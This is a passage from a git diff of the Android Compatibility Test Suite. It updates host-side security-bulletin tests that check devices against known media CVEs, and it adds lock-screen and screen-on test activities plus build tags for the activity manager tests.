@@ -127,6 +127,7 @@
         }
     }
 
+
     public static IBuildInfo getBuildInfo(ITestDevice device) {
         return sBuildInfo.get(device);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index ce924eb..bedccaf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -55,20 +55,6 @@
      ******************************************************************************/
 
     /**
-     * b/73625898
-     * Vulnerability Behaviour: SIGSEGV in self
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2018-06")
-    public void testPocCVE_2018_9351() throws Exception {
-        pocPusher.only64();
-        String inputFiles[] = {"cve_2018_9351.yuv", "cve_2018_9351.cfg"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9351",
-                "--config " + AdbUtils.TMP_PATH + inputFiles[1], inputFiles, AdbUtils.TMP_PATH,
-                getDevice());
-    }
-
-    /**
      * b/126200054
      * Vulnerability Behaviour: SIGSEGV in self
      **/
@@ -271,6 +257,20 @@
     }
 
     /**
+     * b/74122779
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testPocCVE_2018_9428() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
      * b/64340921
      * Vulnerability Behaviour: SIGABRT in audioserver
      */
@@ -432,7 +432,6 @@
      * b/17769851
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      **/
-    @Test
     @SecurityTest(minPatchLevel = "2015-12")
     public void testPocCVE_2015_6616() throws Exception {
         String inputFiles[] = {"cve_2015_6616.mp4"};
@@ -520,7 +519,7 @@
                 AdbUtils.TMP_PATH, getDevice());
     }
 
-    /*
+    /**
      * b/62800140
      * Vulnerability Behaviour: SIGSEGV in self
      **/
@@ -530,6 +529,16 @@
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0814", null, getDevice());
     }
 
+     /**
+     *  b/120789744
+     *  Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testPocCVE_2019_2007() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2007", null, getDevice());
+    }
+
     /**
      * b/66969193
      * Vulnerability Behaviour: SIGSEGV in self
@@ -606,7 +615,7 @@
     /**
      *  b/34749571
      *  Vulnerability Behaviour: SIGSEGV in audioserver
-     **/
+     */
     @Test
     @SecurityTest(minPatchLevel = "2017-05")
     public void testPocCVE_2017_0597() throws Exception {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java
index db83397..3ecf567 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMediaCodec.java
@@ -141,7 +141,6 @@
 
     /**
      * b/68299873
-     * Vulnerability Behaviour: SIGSEGV in self
      **/
     @Test
     @SecurityTest(minPatchLevel = "2018-01")
@@ -195,19 +194,6 @@
      ******************************************************************************/
 
     /**
-     * b/63122634
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2018-01")
-    public void testPocCVE_2017_13203() throws Exception {
-        pocPusher.only64();
-        String inputFiles[] = {"cve_2017_13203.h264"};
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13203",
-               "--num_frames -1 -i " + AdbUtils.TMP_PATH + inputFiles[0], inputFiles,
-               AdbUtils.TMP_PATH, getDevice());
-    }
-
-    /**
      * b/33621215
      **/
     @Test
@@ -361,6 +347,18 @@
     }
 
     /**
+     * b/37273547
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
+    public void testPocCVE_2017_0718() throws Exception {
+        String inputFiles[] = {"cve_2017_0718.m2v"};
+        runMpeg2DecodeMemTest(inputFiles, "-i " + AdbUtils.TMP_PATH + inputFiles[0]
+                + " --num_frames -1 --share_display_buf 1 --num_cores 2", getDevice());
+    }
+
+    /**
      * b/34203195
      **/
     @Test
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
index 6ca5278..1761ba6 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
@@ -25,12 +25,13 @@
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util  \
-     platform-test-annotations-host
+    cts-display-service-app-util \
+    platform-test-annotations-host
 
 LOCAL_CTS_TEST_PACKAGE := android.server
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
index 7a188d3..52b8d55 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
@@ -22,6 +22,7 @@
         <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
         <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
         <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
+        <option name="test-file-name" value="CtsDisplayServiceApp.apk" />
         <option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
index 9a5dcbc..67f2248 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceServicesTestApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
index f0fc0ac..6f70b62 100755
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
@@ -53,6 +53,7 @@
         />
         <activity android:name=".ResizeableActivity"
                 android:resizeableActivity="true"
+                android:allowEmbedded="true"
                 android:exported="true"
                 android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
         />
@@ -361,6 +362,45 @@
                   android:noHistory="true"
                   android:exported="true" />
 
+        <activity android:name=".ShowWhenLockedAttrActivity"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnAttrActivity"
+                  android:turnScreenOn="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnShowOnLockActivity"
+                  android:showWhenLocked="true"
+                  android:turnScreenOn="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
+                  android:turnScreenOn="true"
+                  android:showWhenLocked="true"
+                  android:exported="true" />
+
+        <activity android:name=".TurnScreenOnSingleTaskActivity"
+                  android:turnScreenOn="true"
+                  android:showWhenLocked="true"
+                  android:exported="true"
+                  android:launchMode="singleTask" />
+
+        <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
+                  android:turnScreenOn="true"
+                  android:exported="true"/>
+
+        <activity android:name=".TurnScreenOnWithRelayoutActivity"
+                  android:exported="true"/>
+
         <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
                  android:exported="true"
                  android:enabled="true"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
index 333e0d2..9d29917 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
@@ -34,6 +34,12 @@
     }
 
     @Override
+    protected void onStart() {
+        super.onResume();
+        Log.i(getTag(), "onStart");
+    }
+
+    @Override
     protected void onResume() {
         super.onResume();
         Log.i(getTag(), "onResume");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
index 2ec417f..6e713ec 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchBroadcastReceiver.java
@@ -20,11 +20,18 @@
 import android.content.Context;
 import android.content.Intent;
 import android.server.cts.tools.ActivityLauncher;
+import android.util.Log;
 
 /** Broadcast receiver that can launch activities. */
 public class LaunchBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
     @Override
     public void onReceive(Context context, Intent intent) {
-        ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+        try {
+            ActivityLauncher.launchActivityFromExtras(context, intent.getExtras());
+        } catch (SecurityException e) {
+            Log.e(TAG, "SecurityException launching activity");
+        }
     }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
new file mode 100644
index 0000000..c53c485
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class ShowWhenLockedAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = ShowWhenLockedAttrActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..dbad34d
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrRemoveAttrActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.os.Bundle;
+
+public class ShowWhenLockedAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = ShowWhenLockedAttrRemoveAttrActivity.class.getSimpleName();
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        setShowWhenLocked(false);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
new file mode 100644
index 0000000..136706a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ShowWhenLockedAttrWithDialogActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedAttrWithDialogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        new AlertDialog.Builder(this)
+                .setTitle("Dialog")
+                .show();
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
new file mode 100644
index 0000000..5e1f5d1
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
new file mode 100644
index 0000000..b1b860f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.KeyguardManager;
+import android.os.Bundle;
+
+public class TurnScreenOnAttrDismissKeyguardActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnAttrDismissKeyguardActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        ((KeyguardManager) getSystemService(KEYGUARD_SERVICE))
+                .requestDismissKeyguard(this, new KeyguardDismissLoggerCallback(this));
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
new file mode 100644
index 0000000..29911fe
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        setTurnScreenOn(false);
+    }
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
new file mode 100644
index 0000000..57ff4fb
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
new file mode 100644
index 0000000..29c71d0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
new file mode 100644
index 0000000..14c2801
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+import android.view.WindowManager;
+
+public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
+    private static final String TAG = TurnScreenOnWithRelayoutActivity.class.getSimpleName();
+
+    @Override
+    protected String getTag() {
+        return TAG;
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        // This is to force a relayout, specifically with insets changed. When the insets are
+        // changed, it will trigger a performShow that could turn the screen on.
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
index 07edfac..dd12acb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
@@ -41,6 +41,8 @@
 
     private static final int DEFAULT_DENSITY_DPI = 160;
     private static final String KEY_DENSITY_DPI = "density_dpi";
+    private static final String KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD
+            = "can_show_with_insecure_keyguard";
     private static final String KEY_PUBLIC_DISPLAY = "public_display";
     private static final String KEY_RESIZE_DISPLAY = "resize_display";
     private static final String KEY_LAUNCH_TARGET_ACTIVITY = "launch_target_activity";
@@ -167,13 +169,20 @@
 
         int flags = 0;
 
+        final boolean canShowWithInsecureKeyguard
+                = entry.extras.getBoolean(KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD);
+        if (canShowWithInsecureKeyguard) {
+            flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+        }
+
         final boolean publicDisplay = entry.extras.getBoolean(KEY_PUBLIC_DISPLAY);
         if (publicDisplay) {
             flags |= VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
         }
 
         Log.d(TAG, "createVirtualDisplay: " + width + "x" + height + ", dpi: "
-                + densityDpi + ", publicDisplay=" + publicDisplay);
+                + densityDpi + ", canShowWithInsecureKeyguard=" + canShowWithInsecureKeyguard
+                + ", publicDisplay=" + publicDisplay);
         try {
             VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(
                     "VirtualDisplay" + mVirtualDisplays.size(), width,
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
index cac6bd6..15b55f5 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
@@ -81,6 +81,10 @@
             newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
         }
 
-        context.startActivity(newIntent, options != null ? options.toBundle() : null);
+        try {
+            context.startActivity(newIntent, options != null ? options.toBundle() : null);
+        } catch (SecurityException e) {
+            Log.e(TAG, "SecurityException launching activity");
+        }
     }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
index fa381fb..ddb08a2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceDebuggableApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
index 95af843..98feb61 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceDisplaySizeApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
index 109279f..1456d22 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceServicesTestSecondApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
index 8d5c7a0..53aa2d4 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
@@ -19,9 +19,16 @@
           package="android.server.cts.second">
 
     <application>
-        <activity android:name=".SecondActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true" />
+        <activity
+            android:name=".SecondActivity"
+            android:resizeableActivity="true"
+            android:allowEmbedded="true"
+            android:exported="true" />
+        <activity
+            android:name=".SecondActivityNoEmbedding"
+            android:resizeableActivity="true"
+            android:allowEmbedded="false"
+            android:exported="true" />
         <receiver
             android:name=".LaunchBroadcastReceiver"
             android:enabled="true"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
index 0db6b19..a8ebb86 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
@@ -43,7 +43,7 @@
         }
 
         ActivityOptions options = ActivityOptions.makeBasic();
-        int displayId = extras.getInt("target_display", -1);
+        int displayId = extras.getInt("display_id", -1);
         if (displayId != -1) {
             options.setLaunchDisplayId(displayId);
             newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
@@ -54,7 +54,7 @@
         try {
             context.startActivity(newIntent, options.toBundle());
         } catch (SecurityException e) {
-            Log.i(TAG, "SecurityException launching activity");
+            Log.e(TAG, "SecurityException launching activity");
         }
     }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
new file mode 100644
index 0000000..543e008
--- /dev/null
